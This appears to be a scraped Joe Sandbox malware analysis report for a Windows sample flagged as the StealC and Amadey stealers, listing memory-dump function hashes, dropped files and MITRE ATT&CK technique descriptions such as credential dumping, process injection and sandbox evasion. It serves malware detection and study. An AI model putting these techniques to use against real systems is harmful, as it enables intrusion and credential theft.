Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: d9d209a4901d0ed02fe7198cde96c2de8e2dc279f2c773b95c5bc01864716047
Instruction ID: 8faa6fbec7cdb6eb0e23bb9a89ffa2cdca4c2045baff36eeb0e7f7c129bded36
Opcode Fuzzy Hash: d9d209a4901d0ed02fe7198cde96c2de8e2dc279f2c773b95c5bc01864716047
Instruction Fuzzy Hash: 1C31D471A012168FDB10CF59C8C469ABBB5FFC5304F168669C846EB201EB31ED25CBA5

Function 6C68F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C68F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C68F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C68F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C68F668

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: fd0c959764e2c6f652b47417bb4cdd4b4b8c15a0ef4d9854fa31841a68e36b3a
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 95316F71B00214AFC714CF1DDCC0A9B7BB5EB94354B148538FA4A8BB04D732E9448BAA

Function 6C6A26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A26C1
free.MOZGLUE(?), ref: 6C6A26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A26FF
free.MOZGLUE ref: 6C6A270D

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: d1ae15fc273256de6d2d0fba886dda6b015f370c63a0962ebae03874a0add4ca
Instruction ID: da9dc1a29145f47382f95be9498f80c97c9091a0ac98734626d699cba01f1fb2
Opcode Fuzzy Hash: d1ae15fc273256de6d2d0fba886dda6b015f370c63a0962ebae03874a0add4ca
Instruction Fuzzy Hash: EFF0F9B27012046BE7109E5AD8C4D4773A9EF4131CB100035EA1EC3B11E332FD1AC6AE

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BAEBGHCFCAAFIECAFIII

C:\ProgramData\DBFIDGIIIJDBGDGDAKKF

C:\ProgramData\DGDBAKKJKKECGDGCAECA

C:\ProgramData\EGIDBFBFHJDGCAKEGHJECGHCGC

C:\ProgramData\FHIDAFHCBAKFCAAKFCFCFIIJKF

C:\ProgramData\JEHIJDGI

C:\ProgramData\JKEGHDGH

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre